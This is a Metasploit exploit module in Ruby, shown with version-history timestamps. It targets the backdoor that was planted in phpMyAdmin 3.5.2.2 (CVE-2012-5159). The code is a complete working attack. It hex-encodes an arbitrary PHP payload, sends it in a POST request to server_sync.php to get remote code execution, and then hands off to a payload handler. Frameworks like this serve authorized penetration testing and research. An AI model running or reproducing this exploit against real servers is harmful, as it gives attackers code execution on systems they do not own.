Files
metasploit-gs/modules/exploits/multi/http/phpmyadmin_3522_backdoor.rb
T

80 lines
2.1 KiB
Ruby
Raw Normal View History

2012-09-25 10:47:30 -05:00
##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
2012-09-25 10:47:30 -05:00
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Exploit::Remote
2013-08-30 16:28:54 -05:00
Rank = NormalRanking
2012-09-25 10:47:30 -05:00
2013-08-30 16:28:54 -05:00
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Remote::HttpClient
2012-09-25 10:47:30 -05:00
2013-08-30 16:28:54 -05:00
def initialize(info = {})
super(update_info(info,
'Name' => 'phpMyAdmin 3.5.2.2 server_sync.php Backdoor',
'Description' => %q{
This module exploits an arbitrary code execution backdoor
2016-03-19 13:58:13 -04:00
placed into phpMyAdmin v3.5.2.2 through a compromised SourceForge mirror.
2013-08-30 16:28:54 -05:00
},
'Author' => [ 'hdm' ],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2012-5159' ],
[ 'OSVDB', '85739' ],
2013-08-30 16:28:54 -05:00
[ 'EDB', '21834' ],
[ 'URL', 'http://www.phpmyadmin.net/home_page/security/PMASA-2012-5.php' ]
],
'Privileged' => false,
'Payload' =>
{
'DisableNops' => true,
'Compat' =>
{
'ConnectionType' => 'find',
},
# Arbitrary big number. The payload gets sent as an HTTP
# response body, so really it's unlimited
'Space' => 262144, # 256k
},
'DefaultOptions' =>
{
'WfsDelay' => 30
},
'DisclosureDate' => 'Sep 25 2012',
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' => [[ 'Automatic', { }]],
'DefaultTarget' => 0))
2012-09-25 10:47:30 -05:00
2013-08-30 16:28:54 -05:00
register_options([
OptString.new('PATH', [ true , "The base directory containing phpMyAdmin try", '/phpMyAdmin'])
])
2013-08-30 16:28:54 -05:00
end
2012-09-25 10:47:30 -05:00
2013-08-30 16:28:54 -05:00
def exploit
2012-09-25 10:47:30 -05:00
2013-08-30 16:28:54 -05:00
uris = []
2012-09-25 10:47:30 -05:00
2013-08-30 16:28:54 -05:00
tpath = datastore['PATH']
if tpath[-1,1] == '/'
tpath = tpath.chop
end
2012-09-25 10:47:30 -05:00
2013-08-30 16:28:54 -05:00
pdata = "c=" + Rex::Text.to_hex(payload.encoded, "%")
2012-09-25 10:47:30 -05:00
2013-08-30 16:28:54 -05:00
res = send_request_raw( {
'global' => true,
'uri' => tpath + "/server_sync.php",
'method' => 'POST',
'data' => pdata,
'headers' => {
'Content-Type' => 'application/x-www-form-urlencoded',
'Content-Length' => pdata.length,
}
}, 1.0)
2012-09-25 10:47:30 -05:00
2013-08-30 16:28:54 -05:00
handler
end
2012-09-25 10:47:30 -05:00
end